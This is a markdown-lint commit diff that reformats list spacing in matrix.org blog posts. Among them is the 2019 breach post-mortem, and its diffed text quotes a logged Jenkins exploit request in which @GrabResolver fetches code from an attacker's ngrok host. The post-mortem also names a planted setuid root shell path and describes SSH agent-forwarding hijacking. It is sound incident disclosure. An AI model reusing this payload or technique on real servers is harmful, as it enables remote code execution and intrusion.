mirror of
https://github.com/matrix-org/matrix.org.git
synced 2026-01-11 20:07:22 +00:00
enable linting MD030 consistent spacing in lists (#3132)
* enable linting MD030 consistent spacing in lists Signed-off-by: HarHarLinks <2803622+HarHarLinks@users.noreply.github.com> * fix stray fake list Signed-off-by: HarHarLinks <2803622+HarHarLinks@users.noreply.github.com> --------- Signed-off-by: HarHarLinks <2803622+HarHarLinks@users.noreply.github.com>
This commit is contained in:
Kim Brose
GitHub
parent
3d8e7d25a6
commit
7cd118b834
56 changed files with 1119 additions and 1125 deletions
|
|
@ -6,7 +6,7 @@
|
|||
# disable = ["MD013", "MD033"]
|
||||
|
||||
# List of rules to enable exclusively (if provided, only these rules will run)
|
||||
enable = ["MD001", "MD003", "MD011", "MD034", "MD039"]
|
||||
enable = ["MD001", "MD003", "MD011", "MD030", "MD034", "MD039"]
|
||||
|
||||
# List of file/directory patterns to include for linting (if provided, only these will be linted)
|
||||
# include = [
|
||||
|
|
|
|||
|
|
@ -19,9 +19,9 @@ Since we published the Hall of Fame yesterday, we’ve already been getting new
|
|||
|
||||
Sydent 1.0.3 has three security fixes:
|
||||
|
||||
* Ensure that authentication tokens are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. This is an important fix - please update. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing the issue!
|
||||
* Mitigate an HTML injection bug where an invalid room_id could result in malicious HTML being injected into validation emails. **The fix for this is in the email template itself; you will need to update any customised email templates to be protected.** Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too!
|
||||
* Randomise session_ids to avoid leaking info about the total number of identity validations, and whether a given ID has been validated. Thanks to [@fs0c131y](https://fs0c131y.com) for identifying and responsibly disclosing this one.
|
||||
* Ensure that authentication tokens are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. This is an important fix - please update. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing the issue!
|
||||
* Mitigate an HTML injection bug where an invalid room_id could result in malicious HTML being injected into validation emails. **The fix for this is in the email template itself; you will need to update any customised email templates to be protected.** Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too!
|
||||
* Randomise session_ids to avoid leaking info about the total number of identity validations, and whether a given ID has been validated. Thanks to [@fs0c131y](https://fs0c131y.com) for identifying and responsibly disclosing this one.
|
||||
|
||||
If you are running Sydent as an identity server, you should update as soon as possible from [https://github.com/matrix-org/sydent/releases/v1.0.3](https://github.com/matrix-org/sydent/releases/v1.0.3). We are not aware of any of these issues having been exploited maliciously in the wild.
|
||||
|
||||
|
|
@ -29,8 +29,8 @@ If you are running Sydent as an identity server, you should update as soon as po
|
|||
|
||||
Synapse 0.99.3.1 is a security update for two fixes:
|
||||
|
||||
* Ensure that random IDs in Synapse are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue!
|
||||
* Add 0.0.0.0/32 and ::/128 to the URL preview blacklist configuration, ensuring that an attacker cannot make connections to localhost. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too!
|
||||
* Ensure that random IDs in Synapse are generated using a secure random number generator, ensuring they cannot be predicted by an attacker. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue!
|
||||
* Add 0.0.0.0/32 and ::/128 to the URL preview blacklist configuration, ensuring that an attacker cannot make connections to localhost. Thanks to Enguerran Gillier ([@opnsec](https://twitter.com/@opnsec)) for identifying and responsibly disclosing this issue too!
|
||||
|
||||
You can update from [https://github.com/matrix-org/synapse/releases](https://github.com/matrix-org/synapse/releases) or similar as normal. We are not aware of any of these issues having been exploited maliciously in the wild.
|
||||
|
||||
|
|
@ -40,9 +40,8 @@ You can update from [https://github.com/matrix-org/synapse/releases](https://git
|
|||
|
||||
Riot/Android has an important security fix which shipped over the course of the last week in various versions of the app:
|
||||
|
||||
* Remove obsolete and buggy ContentProvider which could allow a malicious local app to compromise account data. Many thanks to Julien Thomas ([@julien_thomas](https://twitter.com/@julien_thomas)) from [Protektoid Project](https://protektoid.com) for identifying this and responsibly disclosing it!
|
||||
* Remove obsolete and buggy ContentProvider which could allow a malicious local app to compromise account data. Many thanks to Julien Thomas ([@julien_thomas](https://twitter.com/@julien_thomas)) from [Protektoid Project](https://protektoid.com) for identifying this and responsibly disclosing it!
|
||||
|
||||
The fix for this shipped on F-Droid since 0.8.28a, and on the Play Store, the fix is present in both v0.9.0 (the first version of the re-published Riot app) and v0.8.99 (the last version of the old Riot app, which told everyone to reinstall). Other forks of Riot which we’re aware of have also been informed and should be updated.
|
||||
|
||||
If you haven’t already updated, please do so now.
|
||||
|
||||
|
|
|
|||
|
|
@ -81,20 +81,20 @@ At this point we started doing forensics to understand the scope of the attack a
|
|||
|
||||
|
||||
|
||||
* The attacker had first compromised Jenkins on March 13th via an RCE vulnerability (CVE-2019-1003000 - [https://www.exploit-db.com/exploits/46572](https://www.exploit-db.com/exploits/46572)):
|
||||
* The attacker had first compromised Jenkins on March 13th via an RCE vulnerability (CVE-2019-1003000 - [https://www.exploit-db.com/exploits/46572](https://www.exploit-db.com/exploits/46572)):
|
||||
|
||||
`matrix.org:443 151.34.xxx.xxx - - [13/Mar/2019:18:46:07 +0000] "GET /jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://5f36xxxx.ngrok.io/jenkins/%27)%0A@Grab(group=%27tw.orange%27,%20module=%270x3a%27,%20version=%27000%27)%0Aimport%20Orange; HTTP/1.1" 500 6083 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"`
|
||||
|
||||
* This allowed them to further compromise a Jenkins slave (Flywheel, an old Mac Pro used mainly for continuous integration testing of Riot/iOS and Riot/Android). The attacker put an SSH key on the box, which was unfortunately exposed to the internet via a high-numbered SSH port for ease of admin by remote users, and placed a trap which waited for any user to SSH into the jenkins user, which would then hijack any available forwarded SSH keys to try to add the attacker’s SSH key to root@ on as many other hosts as possible.
|
||||
* On Apr 4th at 12:32 GMT, one of the Riot devops team members SSH’d into the Jenkins slave to perform some admin, forwarding their SSH key for convenience for accessing other boxes while doing so. This triggered the trap, and resulted in the majority of the malicious keys being inserted to the remote hosts.
|
||||
* From this point on, the attacker proceeded to explore the network, performing targeted exfiltration of data (e.g. our passbolt database, which is thankfully end-to-end encrypted via GPG) seemingly targeting credentials and data for use in onward exploits, and installing backdoors for later use (e.g. a setuid root shell at `/usr/share/bsd-mail/shroot`).
|
||||
* The majority of access to the hosts occurred between Apr 4th and 6th.
|
||||
* There was no evidence of large-scale data exfiltration, based on analysing network logs.
|
||||
* There was no evidence of Modular.im hosts having been compromised. (Modular’s provisioning system and DB did run on the old infrastructure, but it was not used to tamper with the modular instances themselves).
|
||||
* There was no evidence of the identity server databases having been compromised.
|
||||
* There was no evidence of tampering in our source code repositories.
|
||||
* There was no evidence of tampering of our distributed software packages.
|
||||
* Two more hosts were compromised on Apr 5th by similarly hijacking another developer SSH agent as the dev logged into a production server.
|
||||
* This allowed them to further compromise a Jenkins slave (Flywheel, an old Mac Pro used mainly for continuous integration testing of Riot/iOS and Riot/Android). The attacker put an SSH key on the box, which was unfortunately exposed to the internet via a high-numbered SSH port for ease of admin by remote users, and placed a trap which waited for any user to SSH into the jenkins user, which would then hijack any available forwarded SSH keys to try to add the attacker’s SSH key to root@ on as many other hosts as possible.
|
||||
* On Apr 4th at 12:32 GMT, one of the Riot devops team members SSH’d into the Jenkins slave to perform some admin, forwarding their SSH key for convenience for accessing other boxes while doing so. This triggered the trap, and resulted in the majority of the malicious keys being inserted to the remote hosts.
|
||||
* From this point on, the attacker proceeded to explore the network, performing targeted exfiltration of data (e.g. our passbolt database, which is thankfully end-to-end encrypted via GPG) seemingly targeting credentials and data for use in onward exploits, and installing backdoors for later use (e.g. a setuid root shell at `/usr/share/bsd-mail/shroot`).
|
||||
* The majority of access to the hosts occurred between Apr 4th and 6th.
|
||||
* There was no evidence of large-scale data exfiltration, based on analysing network logs.
|
||||
* There was no evidence of Modular.im hosts having been compromised. (Modular’s provisioning system and DB did run on the old infrastructure, but it was not used to tamper with the modular instances themselves).
|
||||
* There was no evidence of the identity server databases having been compromised.
|
||||
* There was no evidence of tampering in our source code repositories.
|
||||
* There was no evidence of tampering of our distributed software packages.
|
||||
* Two more hosts were compromised on Apr 5th by similarly hijacking another developer SSH agent as the dev logged into a production server.
|
||||
|
||||
By around 2am on Apr 11th we felt that we had sufficient visibility on the attacker’s behaviour to be able to do a first pass at evicting them by locking down SSH, removing their keys, and blocking as much network traffic as we could.
|
||||
|
||||
|
|
@ -124,17 +124,17 @@ To flush out the defacement we logged in directly as the admin user and changed
|
|||
|
||||
The goal of the rebuild has been to get all the higher priority services back up rapidly - whilst also ensuring that good security practices are in place going forwards. In practice, this meant making some immediate decisions about how to ensure the new infrastructure did not suffer the same issues and fate as the old. Firstly, we ensured the most obvious mistakes that made the breach possible were mitigated:
|
||||
|
||||
* Access via SSH restricted as heavily as possible
|
||||
* SSH agent forwarding disabled server-side
|
||||
* All configuration to be managed by Ansible, with secrets encrypted in vaults, rather than sitting in a git repo.
|
||||
* Access via SSH restricted as heavily as possible
|
||||
* SSH agent forwarding disabled server-side
|
||||
* All configuration to be managed by Ansible, with secrets encrypted in vaults, rather than sitting in a git repo.
|
||||
|
||||
Then, whilst reinstating services on the new infra, we opted to review **everything** being installed for security risks, replacing with securer alternatives if needed, even if it slowed down the rebuild. Particularly, this meant:
|
||||
|
||||
* Jenkins has been replaced by [Buildkite](https://buildkite.com/matrix-dot-org)
|
||||
* Wordpress has been replaced by static generated sites (e.g. [Gatsby](https://github.com/matrix-org/matrix.org/tree/master/gatsby))
|
||||
* cgit has been replaced by [gitlab](https://gitlab.matrix.org).
|
||||
* Entirely new packaging building, signing & distribution infrastructure (more on that later)
|
||||
* etc.
|
||||
* Jenkins has been replaced by [Buildkite](https://buildkite.com/matrix-dot-org)
|
||||
* Wordpress has been replaced by static generated sites (e.g. [Gatsby](https://github.com/matrix-org/matrix.org/tree/master/gatsby))
|
||||
* cgit has been replaced by [gitlab](https://gitlab.matrix.org).
|
||||
* Entirely new packaging building, signing & distribution infrastructure (more on that later)
|
||||
* etc.
|
||||
|
||||
Now, while we restored the main synapse (homeserver), sydent (identity server), sygnal (push server), databases, load balancers, intranet and website on Apr 11, it’s important to understand that there were over 100 other services running on the infra - which is why it is taking a while to get full parity with where we were before.
|
||||
|
||||
|
|
@ -176,13 +176,13 @@ Our remediations for this are:
|
|||
|
||||
|
||||
|
||||
* Disable all ssh agent forwarding on the servers.
|
||||
* If you need to jump through a box to ssh into another box, use `ssh -J $host`.
|
||||
* This can also be used with rsync via `rsync -e "ssh -J $host"`
|
||||
* If you need to copy files between machines, use rsync rather than scp (OpenSSH 8.0’s [release notes](https://www.openssh.com/txt/release-8.0) explicitly recommends using more modern protocols than scp).
|
||||
* If you need to regularly copy stuff from server to another (or use SSH to GitHub to check out something from a private repo), it might be better to have a specific SSH ‘deploy key’ created for this, stored server-side and only able to perform limited actions.
|
||||
* If you just need to check out stuff from public git repos, use https rather than git+ssh.
|
||||
* Try to educate everyone on the perils of SSH agent forwarding: if our past selves can’t be a good example, they can at least be a horrible warning...
|
||||
* Disable all ssh agent forwarding on the servers.
|
||||
* If you need to jump through a box to ssh into another box, use `ssh -J $host`.
|
||||
* This can also be used with rsync via `rsync -e "ssh -J $host"`
|
||||
* If you need to copy files between machines, use rsync rather than scp (OpenSSH 8.0’s [release notes](https://www.openssh.com/txt/release-8.0) explicitly recommends using more modern protocols than scp).
|
||||
* If you need to regularly copy stuff from server to another (or use SSH to GitHub to check out something from a private repo), it might be better to have a specific SSH ‘deploy key’ created for this, stored server-side and only able to perform limited actions.
|
||||
* If you just need to check out stuff from public git repos, use https rather than git+ssh.
|
||||
* Try to educate everyone on the perils of SSH agent forwarding: if our past selves can’t be a good example, they can at least be a horrible warning...
|
||||
|
||||
Another approach could be to allow forwarding, but configure your SSH agent to prompt whenever a remote app tries to access your keys. However, not all agents support this (OpenSSH’s does via `ssh-add -c`, but gnome-keyring for instance doesn’t), and also it might still be possible for a hijacker to race with the valid request to hijack your credentials.
|
||||
|
||||
|
|
@ -228,14 +228,14 @@ We are addressing this by:
|
|||
|
||||
|
||||
|
||||
* Splitting our infrastructure into strictly separated service domains, which are firewalled from each other and can only access each other via their respective ‘front doors’ (e.g. HTTPS APIs exposed at the loadbalancers).
|
||||
* Development
|
||||
* Intranet
|
||||
* Package Build (airgapped; see below for more details)
|
||||
* Package Distribution
|
||||
* Production, which is in turn split per class of service.
|
||||
* Access to these networks will be via VPN + SSH jumpboxes (as per above). Access to the VPN is via per-device certificate + 2FA, and SSH via keys as per above.
|
||||
* Switching to an improved internal VPN between hosts within a given network environment (i.e. we don’t trust the datacenter LAN).
|
||||
* Splitting our infrastructure into strictly separated service domains, which are firewalled from each other and can only access each other via their respective ‘front doors’ (e.g. HTTPS APIs exposed at the loadbalancers).
|
||||
* Development
|
||||
* Intranet
|
||||
* Package Build (airgapped; see below for more details)
|
||||
* Package Distribution
|
||||
* Production, which is in turn split per class of service.
|
||||
* Access to these networks will be via VPN + SSH jumpboxes (as per above). Access to the VPN is via per-device certificate + 2FA, and SSH via keys as per above.
|
||||
* Switching to an improved internal VPN between hosts within a given network environment (i.e. we don’t trust the datacenter LAN).
|
||||
|
||||
We’re also running most services in containers by default going forwards (previously it was a bit of a mix of running unix processes, VMs, and occasional containers), providing an additional level of namespace isolation.
|
||||
|
||||
|
|
@ -259,17 +259,17 @@ There is much we have learnt from managing an incident at this scale. The main h
|
|||
|
||||
|
||||
|
||||
* The need for a single incident manager to coordinate the technical response and coordinate prioritisation and handover between those handling the incident. (We lacked a single incident manager at first, given several of the team started off that week on holiday...)
|
||||
* The benefits of gathering all relevant info and checklists onto a canonical set of shared documents rather than being spread across different chatrooms and lost in scrollback.
|
||||
* The need to have an existing inventory of services and secrets available for tracking progress and prioritisation
|
||||
* The need to have a general incident management [checklist](https://news.ycombinator.com/item?id=19682451&p=2) for future reference, which folks can familiarise themselves with ahead of time to avoid stuff getting forgotten. The sort of stuff which will go on our checklist in future includes:
|
||||
* Remembering to appoint named incident manager, external comms manager & internal comms manager. (They could of course be the same person, but the roles are distinct).
|
||||
* Defining a sensible sequence of forensics, mitigations, communication, rotating secrets etc is followed rather than having to work it out on the fly and risk forgetting stuff
|
||||
* Remembering to informing the ICO (Information Commissioner Office) of any user data breaches
|
||||
* Guidelines on how to balance between forensics and rebuilding (i.e. how long to spend on forensics, if at all, before pulling the plug)
|
||||
* Reminders to snapshot systems for forensics & backups
|
||||
* Reminder to not redesign infrastructure during a rebuild. There were a few instances where we lost time by seizing the opportunity to try to fix design flaws whilst rebuilding, some of which were avoidable.
|
||||
* Making sure that communication isn’t sent prematurely to users (e.g. we posted the blog post asking people to update their passwords before password reset had actually been restored - apologies for that.)
|
||||
* The need for a single incident manager to coordinate the technical response and coordinate prioritisation and handover between those handling the incident. (We lacked a single incident manager at first, given several of the team started off that week on holiday...)
|
||||
* The benefits of gathering all relevant info and checklists onto a canonical set of shared documents rather than being spread across different chatrooms and lost in scrollback.
|
||||
* The need to have an existing inventory of services and secrets available for tracking progress and prioritisation
|
||||
* The need to have a general incident management [checklist](https://news.ycombinator.com/item?id=19682451&p=2) for future reference, which folks can familiarise themselves with ahead of time to avoid stuff getting forgotten. The sort of stuff which will go on our checklist in future includes:
|
||||
* Remembering to appoint named incident manager, external comms manager & internal comms manager. (They could of course be the same person, but the roles are distinct).
|
||||
* Defining a sensible sequence of forensics, mitigations, communication, rotating secrets etc is followed rather than having to work it out on the fly and risk forgetting stuff
|
||||
* Remembering to informing the ICO (Information Commissioner Office) of any user data breaches
|
||||
* Guidelines on how to balance between forensics and rebuilding (i.e. how long to spend on forensics, if at all, before pulling the plug)
|
||||
* Reminders to snapshot systems for forensics & backups
|
||||
* Reminder to not redesign infrastructure during a rebuild. There were a few instances where we lost time by seizing the opportunity to try to fix design flaws whilst rebuilding, some of which were avoidable.
|
||||
* Making sure that communication isn’t sent prematurely to users (e.g. we posted the blog post asking people to update their passwords before password reset had actually been restored - apologies for that.)
|
||||
|
||||
#### Configuration management
|
||||
|
||||
|
|
@ -293,27 +293,27 @@ In terms of remediation, designing a secure build process is surprisingly hard,
|
|||
|
||||
|
||||
|
||||
* Developers create a release branch to signify a new release (ensuring dependencies are pinned to known good versions).
|
||||
* We then perform all releases from a dedicated isolated release terminal.
|
||||
* This is a device which is kept disconnected from the internet, other than when doing a release, and even then it is firewalled to be able to pull data from SCM and push to the package distribution servers, but otherwise entirely isolated from the network.
|
||||
* Needless to say, the device is strictly used for *nothing* other than performing releases.
|
||||
* The build environment installation is scripted and installs on a fresh OS image (letting us easily build new release terminals as needed)
|
||||
* The signing keys (hardware or software) are kept exclusively on this device.
|
||||
* The publishing SSH keys (hardware or software) used to push to the packaging servers are kept exclusively on this device.
|
||||
* We physically store the device securely.
|
||||
* We ensure someone on the team always has physical access to it in order to do emergency builds.
|
||||
* Meanwhile, releases are distributed using dedicated infrastructure, entirely isolated from the rest of production.
|
||||
* These live at [https://packages.matrix.org](https://packages.matrix.org) and [https://packages.riot.im](https://packages.riot.im)
|
||||
* These are minimal machines with nothing but a static web-server.
|
||||
* They are accessed only via the dedicated SSH keys stored on the release terminal.
|
||||
* These in turn can be mirrored in future to avoid a SPOF (or we could cheat and use Cloudflare’s [always online](https://www.cloudflare.com/always-online/) feature, for better or worse).
|
||||
* Developers create a release branch to signify a new release (ensuring dependencies are pinned to known good versions).
|
||||
* We then perform all releases from a dedicated isolated release terminal.
|
||||
* This is a device which is kept disconnected from the internet, other than when doing a release, and even then it is firewalled to be able to pull data from SCM and push to the package distribution servers, but otherwise entirely isolated from the network.
|
||||
* Needless to say, the device is strictly used for *nothing* other than performing releases.
|
||||
* The build environment installation is scripted and installs on a fresh OS image (letting us easily build new release terminals as needed)
|
||||
* The signing keys (hardware or software) are kept exclusively on this device.
|
||||
* The publishing SSH keys (hardware or software) used to push to the packaging servers are kept exclusively on this device.
|
||||
* We physically store the device securely.
|
||||
* We ensure someone on the team always has physical access to it in order to do emergency builds.
|
||||
* Meanwhile, releases are distributed using dedicated infrastructure, entirely isolated from the rest of production.
|
||||
* These live at [https://packages.matrix.org](https://packages.matrix.org) and [https://packages.riot.im](https://packages.riot.im)
|
||||
* These are minimal machines with nothing but a static web-server.
|
||||
* They are accessed only via the dedicated SSH keys stored on the release terminal.
|
||||
* These in turn can be mirrored in future to avoid a SPOF (or we could cheat and use Cloudflare’s [always online](https://www.cloudflare.com/always-online/) feature, for better or worse).
|
||||
|
||||
Alternatives here included:
|
||||
|
||||
|
||||
|
||||
* In an ideal world we’d do reproducible builds instead, and sign the build’s hash with a hardware key, but given we don’t have reproducible builds yet this will have to suffice for now.
|
||||
* We could delegate building and distribution entirely to a 3rd party setup such as OBS (as per [https://github.com/matrix-org/matrix.org/issues/370](https://github.com/matrix-org/matrix.org/issues/370)). However, we have a very wide range of artefacts to build across many different platforms and OSes, so would rather build ourselves if we can.
|
||||
* In an ideal world we’d do reproducible builds instead, and sign the build’s hash with a hardware key, but given we don’t have reproducible builds yet this will have to suffice for now.
|
||||
* We could delegate building and distribution entirely to a 3rd party setup such as OBS (as per [https://github.com/matrix-org/matrix.org/issues/370](https://github.com/matrix-org/matrix.org/issues/370)). However, we have a very wide range of artefacts to build across many different platforms and OSes, so would rather build ourselves if we can.
|
||||
|
||||
#### Dev and CI infrastructure
|
||||
|
||||
|
|
@ -325,9 +325,9 @@ Other than CI, our strategy is:
|
|||
|
||||
|
||||
|
||||
* Continue using Github for public repositories
|
||||
* Use gitlab.matrix.org for private repositories (and stuff which we don’t want to re-export via the US, like [Olm](https://gitlab.matrix.org/matrix-org/olm))
|
||||
* Continue to host docker images on Docker Hub (despite their recent [security dramas](https://success.docker.com/article/docker-hub-user-notification)).
|
||||
* Continue using Github for public repositories
|
||||
* Use gitlab.matrix.org for private repositories (and stuff which we don’t want to re-export via the US, like [Olm](https://gitlab.matrix.org/matrix-org/olm))
|
||||
* Continue to host docker images on Docker Hub (despite their recent [security dramas](https://success.docker.com/article/docker-hub-user-notification)).
|
||||
|
||||
#### Log minimisation and handling Personally Identifying Information (PII)
|
||||
|
||||
|
|
@ -337,18 +337,18 @@ However, we can still improve our logging and PII-handling substantially:
|
|||
|
||||
|
||||
|
||||
* Ensuring that wherever possible, we hash or at least truncate any PII before logging it (access tokens, matrix IDs, 3rd party IDs etc).
|
||||
* Minimising log retention to the bare minimum we need to investigate recent issues and abuse
|
||||
* Ensuring that PII is stored hashed wherever possible.
|
||||
* Ensuring that wherever possible, we hash or at least truncate any PII before logging it (access tokens, matrix IDs, 3rd party IDs etc).
|
||||
* Minimising log retention to the bare minimum we need to investigate recent issues and abuse
|
||||
* Ensuring that PII is stored hashed wherever possible.
|
||||
|
||||
Meanwhile, in Matrix itself we already are very mindful of handling PII (c.f. our [privacy policies](https://github.com/vector-im/policies/tree/master/docs/matrix-org) and [GDPR work](https://matrix.org/blog/2018/05/08/gdpr-compliance-in-matrix/)), but there is also more we can do, particularly:
|
||||
|
||||
|
||||
|
||||
* Turning on end-to-end encryption by default, so that even if a server is compromised, the attacker cannot get at private message history. Everyone who uses E2EE in Matrix should have felt some relief that even though the server was compromised, their message history was safe: we need to provide that to everyone. This is [https://github.com/vector-im/riot-web/issues/6779](https://github.com/vector-im/riot-web/issues/6779).
|
||||
* We need device audit trails in Matrix, so that even if a compromised server (or malicious server admin) temporarily adds devices to your account, you can see what’s going on. This is [https://github.com/matrix-org/synapse/issues/5145](https://github.com/matrix-org/synapse/issues/5145)
|
||||
* We need to empower users to configure history retention in their rooms, so they can limit the amount of history exposed to an attacker. This is [https://github.com/matrix-org/matrix-doc/pull/1763](https://github.com/matrix-org/matrix-doc/pull/1763)
|
||||
* We need to provide account portability (aka decentralised accounts) so that even if a server is compromised, the users can seamlessly migrate elsewhere. The first step of this is [https://github.com/matrix-org/matrix-doc/pull/1228](https://github.com/matrix-org/matrix-doc/pull/1228).
|
||||
* Turning on end-to-end encryption by default, so that even if a server is compromised, the attacker cannot get at private message history. Everyone who uses E2EE in Matrix should have felt some relief that even though the server was compromised, their message history was safe: we need to provide that to everyone. This is [https://github.com/vector-im/riot-web/issues/6779](https://github.com/vector-im/riot-web/issues/6779).
|
||||
* We need device audit trails in Matrix, so that even if a compromised server (or malicious server admin) temporarily adds devices to your account, you can see what’s going on. This is [https://github.com/matrix-org/synapse/issues/5145](https://github.com/matrix-org/synapse/issues/5145)
|
||||
* We need to empower users to configure history retention in their rooms, so they can limit the amount of history exposed to an attacker. This is [https://github.com/matrix-org/matrix-doc/pull/1763](https://github.com/matrix-org/matrix-doc/pull/1763)
|
||||
* We need to provide account portability (aka decentralised accounts) so that even if a server is compromised, the users can seamlessly migrate elsewhere. The first step of this is [https://github.com/matrix-org/matrix-doc/pull/1228](https://github.com/matrix-org/matrix-doc/pull/1228).
|
||||
|
||||
### Conclusion
|
||||
|
||||
|
|
|
|||
|
|
@ -24,32 +24,32 @@ On the Synapse side, our focus has been exclusively on ensuring that Synapse cor
|
|||
|
||||
All this means that the main headline features which land in Matrix 1.0 are vitally important but relatively dry:
|
||||
|
||||
* Using X.509 certificates to trust servers rather than perspective notaries, to simplify and improve server-side trust. This is a **breaking change** across Matrix, and we’ve given the community several months now to ensure their homeservers run a valid TLS certificate. See [MSC1711](https://github.com/matrix-org/synapse/blob/master/docs/MSC1711_certificates_FAQ.md) for full details, and the [2 week warning](https://matrix.org/blog/2019/05/24/final-countdown-to-1-0) we gave. As of ~9am UTC today, the matrix.org homeserver is running Synapse 1.0 and enforcing valid TLS certificates - the transition has begun (and so far we haven’t spotted any major breakage :). Thank you to everyone who [got ready](https://arewereadyyet.com) in advance!
|
||||
* Using .well-known URIs to discover servers, in case you can’t get a valid TLS certificate for your server’s domain.
|
||||
* Switching to **[room version 4](https://matrix.org/docs/spec/rooms/v4.html) by default** for creating new rooms. This fixes the most important defects that the core room algorithm has historically encountered, particularly:
|
||||
* The new State Resolution algorithm to fix the [Hotel California bug](https://github.com/matrix-org/synapse/issues/2432) and many others: [State Resolution Reloaded](https://github.com/matrix-org/matrix-doc/issues/1442)
|
||||
* [Collision resistant event IDs](https://github.com/matrix-org/matrix-doc/pull/1659)
|
||||
* Specifying the ability to upgrade between room versions
|
||||
* Full specification of lazy loading room members
|
||||
* [Short Authentication String](https://github.com/matrix-org/matrix-doc/issues/1267) (Emoji!) interactive verification of E2EE devices
|
||||
* ...and lots and lots and lots of bugfixes and spec omission fixes.
|
||||
* Using X.509 certificates to trust servers rather than perspective notaries, to simplify and improve server-side trust. This is a **breaking change** across Matrix, and we’ve given the community several months now to ensure their homeservers run a valid TLS certificate. See [MSC1711](https://github.com/matrix-org/synapse/blob/master/docs/MSC1711_certificates_FAQ.md) for full details, and the [2 week warning](https://matrix.org/blog/2019/05/24/final-countdown-to-1-0) we gave. As of ~9am UTC today, the matrix.org homeserver is running Synapse 1.0 and enforcing valid TLS certificates - the transition has begun (and so far we haven’t spotted any major breakage :). Thank you to everyone who [got ready](https://arewereadyyet.com) in advance!
|
||||
* Using .well-known URIs to discover servers, in case you can’t get a valid TLS certificate for your server’s domain.
|
||||
* Switching to **[room version 4](https://matrix.org/docs/spec/rooms/v4.html) by default** for creating new rooms. This fixes the most important defects that the core room algorithm has historically encountered, particularly:
|
||||
* The new State Resolution algorithm to fix the [Hotel California bug](https://github.com/matrix-org/synapse/issues/2432) and many others: [State Resolution Reloaded](https://github.com/matrix-org/matrix-doc/issues/1442)
|
||||
* [Collision resistant event IDs](https://github.com/matrix-org/matrix-doc/pull/1659)
|
||||
* Specifying the ability to upgrade between room versions
|
||||
* Full specification of lazy loading room members
|
||||
* [Short Authentication String](https://github.com/matrix-org/matrix-doc/issues/1267) (Emoji!) interactive verification of E2EE devices
|
||||
* ...and lots and lots and lots of bugfixes and spec omission fixes.
|
||||
|
||||
That said, there is a *lot* of really exciting stuff in flight right now which sadly didn’t stabilise in time for Matrix 1.0, but will be landing as fast as we can finalise it now that 1.0 is at last out the door. This includes:
|
||||
|
||||
* Editable messages! (These are in Synapse 1.0 and Riot already, but still stabilising so not enabled by default)
|
||||
* Reactions! (Similarly these are in develop)
|
||||
* Threading!! (We’ve planted the seeds for this in the new ‘aggregations’ support which powers edits & reactions - but full thread support is still a bit further out).
|
||||
* [Cross-signed verification for end-to-end encryption](https://github.com/uhoreg/matrix-doc/blob/cross-signing2/proposals/1756-cross-signing.md) (This is on a branch, but due to land any day now). We’ve also held off merging E2E backups into the Matrix 1.0 spec until cross-signing lands, given it may change the backup behaviour a bit. Once this is done, we can seriously talk about turning on E2E by default everywhere.
|
||||
* Live-tracking of room statistics and state in Synapse! (This is in Synapse 1.0 already if you check out the new room_stats and room_state tables, but we need to provide a nice admin interface for it).
|
||||
* Support for smaller footprint homeservers by reducing memory usage and stopping them from joining overly complex rooms.
|
||||
* Editable messages! (These are in Synapse 1.0 and Riot already, but still stabilising so not enabled by default)
|
||||
* Reactions! (Similarly these are in develop)
|
||||
* Threading!! (We’ve planted the seeds for this in the new ‘aggregations’ support which powers edits & reactions - but full thread support is still a bit further out).
|
||||
* [Cross-signed verification for end-to-end encryption](https://github.com/uhoreg/matrix-doc/blob/cross-signing2/proposals/1756-cross-signing.md) (This is on a branch, but due to land any day now). We’ve also held off merging E2E backups into the Matrix 1.0 spec until cross-signing lands, given it may change the backup behaviour a bit. Once this is done, we can seriously talk about turning on E2E by default everywhere.
|
||||
* Live-tracking of room statistics and state in Synapse! (This is in Synapse 1.0 already if you check out the new room_stats and room_state tables, but we need to provide a nice admin interface for it).
|
||||
* Support for smaller footprint homeservers by reducing memory usage and stopping them from joining overly complex rooms.
|
||||
|
||||
Then stuff which we haven’t yet started, but is now unlocked by the 1.0 release:
|
||||
|
||||
* Fixing extremities build-up (and so massively improving performance)
|
||||
* Rewriting Communities. Groups/Communities deliberately didn’t land in Matrix 1.0 as the current implementation has issues we want to fix first. [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) has the details.
|
||||
* Rewritten room directory using the new room stats/state tables to be super-speedy.
|
||||
* Super-speedy [incremental state resolution](https://github.com/matrix-org/synapse/pull/3122)
|
||||
* Removing MXIDs from events ([MSC1228](https://github.com/matrix-org/matrix-doc/issues/1228))
|
||||
* Fixing extremities build-up (and so massively improving performance)
|
||||
* Rewriting Communities. Groups/Communities deliberately didn’t land in Matrix 1.0 as the current implementation has issues we want to fix first. [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) has the details.
|
||||
* Rewritten room directory using the new room stats/state tables to be super-speedy.
|
||||
* Super-speedy [incremental state resolution](https://github.com/matrix-org/synapse/pull/3122)
|
||||
* Removing MXIDs from events ([MSC1228](https://github.com/matrix-org/matrix-doc/issues/1228))
|
||||
|
||||
Just to give a quick taster of the shape of things to come, here’s RiotX/Android, the all-new Riot client for Android, showing off Edits & Reactions in the wild…
|
||||
|
||||
|
|
@ -118,4 +118,3 @@ Finally, huge thanks to everyone who has continued to support us through thick a
|
|||
So: thank you once again for flying Matrix. We hope you enjoy 1.0, and we look forward to everything else landing on the horizon!
|
||||
|
||||
\- Matthew, Amandine & the whole Matrix.org Team.
|
||||
|
||||
|
|
|
|||
|
|
